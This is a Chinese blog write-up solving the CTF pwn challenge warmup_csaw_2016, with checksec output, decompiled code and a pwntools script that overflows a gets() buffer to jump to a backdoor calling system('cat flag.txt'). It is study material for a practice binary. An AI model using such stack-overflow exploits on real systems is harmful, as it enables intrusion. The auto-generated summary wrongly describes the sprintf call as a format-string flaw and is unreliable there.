BUU刷题-Pwn-warmup_csaw_2016

文章分析了一个64位的LinuxELF程序,该程序存在栈溢出漏洞,由于没有栈Canary、NX保护和RELRO,可以通过溢出修改返回地址,调用后门函数`sub_40060D`,该函数使用`system`执行`catflag.txt`命令获取flag。利用`sprintf`的格式化字符串漏洞,可以控制输入,进一步利用栈溢出。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

解题思路:

泄露或修改内存数据:

  1. 堆地址:无需
  2. 栈地址:无需
  3. libc地址:无需
  4. BSS段地址:无需
    劫持程序执行流程:[[ret2libc(栈溢出调用任意函数)]]
    获得shell或flag:[[劫持返回地址]] && [[调用程序中的system]]
学到的知识:

[[sprintf()]]

题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file warmup_csaw_2016           
warmup_csaw_2016: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7b7d75c51503566eb1203781298d9f0355a66bd3, stripped
                                                                                                                     
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=warmup_csaw_2016
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified    Fortifiable     FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No Symbols        No    0   2warmup_csaw_2016

libc版本:
wp借鉴:

核心伪代码分析:

存在利用的的代码:

int sub_40060D()
{
  return system("cat flag.txt");
}

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}
分析:

分析:有后门函数,利用栈溢出

发现后门函数:

.text:000000000040060D sub_40060D      proc near       ; DATA XREF: main+34↓o
.text:000000000040060D ; __unwind {
.text:000000000040060D                 push    rbp
.text:000000000040060E                 mov     rbp, rsp
.text:0000000000400611            mov     edi, offset command ; "cat flag.txt"
.text:0000000000400616                 call    _system
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 retn
.text:000000000040061C ; } // starts at 40060D

发现v5变量距离ebp+8=0x40+8

-0000000000000040 var_40          db 64 dup(?)
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

同时存在危险函数get(),可以实现栈溢出漏洞!

脚本:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')

pwnfile='./warmup_csaw_2016'
sh=remote('node4.buuoj.cn',29734)
#sh=process(pwnfile)

backdoor_addr=0x40060d


payload=(0x40+8)*b'a'+p64(backdoor_addr)

#sh.recvuntil("please input")

#gdb.attach(sh)
#pause()

sh.sendline(payload) 

sh.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值